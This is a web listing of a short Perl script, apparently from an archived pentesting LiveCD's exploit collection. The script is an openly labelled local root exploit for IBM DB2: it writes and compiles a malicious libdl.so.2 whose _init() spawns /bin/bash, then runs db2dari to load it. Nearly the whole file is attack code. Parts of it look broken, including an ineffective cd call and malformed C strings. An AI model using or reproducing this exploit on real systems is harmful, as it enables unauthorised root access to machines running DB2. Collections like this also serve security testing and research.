home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / db2 / ibmdb2.pl < prev   
Perl Script  |  2005-02-12  |  777b  |  27 lines

  1. #!/usr/bin/perl
  2.  
  3. #IBM DB2 local root from uid=bin 
  4. #deadbeat,
  5. #e:    daniels@legend.co.uk
  6. #e:    deadbeat@sdf.lonestar.org
  7.  
  8. print "\nIBM db2 local bin escape to root sploit\n";
  9. print "Preparing exploit...\n";
  10.  
  11. system("cd /usr/IBMdb2/V7.1/lib");
  12. open FILEHANDLE, (">foo.c")or die "Cant open foo for writing..:(\n";
  13. print FILEHANDLE "#include <stdio.h>\n";
  14. print FILEHANDLE "#include <string.h>\n\n";
  15. print FILEHANDLE "_init() {\n";
  16. print FILEHANDLE "\tprintf(\"init..()\\n\");\n";
  17. print FILEHANDLE "\tprintf(here we go: PID=\%i EUID=\%i\", getpid(), getuid());\n";
  18. print FILEHANDLE "\tsystem(\"/bin/bash\");\n";
  19. print FILEHANDLE "\tprintf(\"wicked done and dusted..\\n\")\n";
  20. print FILEHANDLE "}";
  21. close FILEHANDLE;
  22. system("gcc -fpic -shared -o libdl.so.2 foo.c");
  23. exec("db2dari")
  24.  
  25.  
  26.  
  27.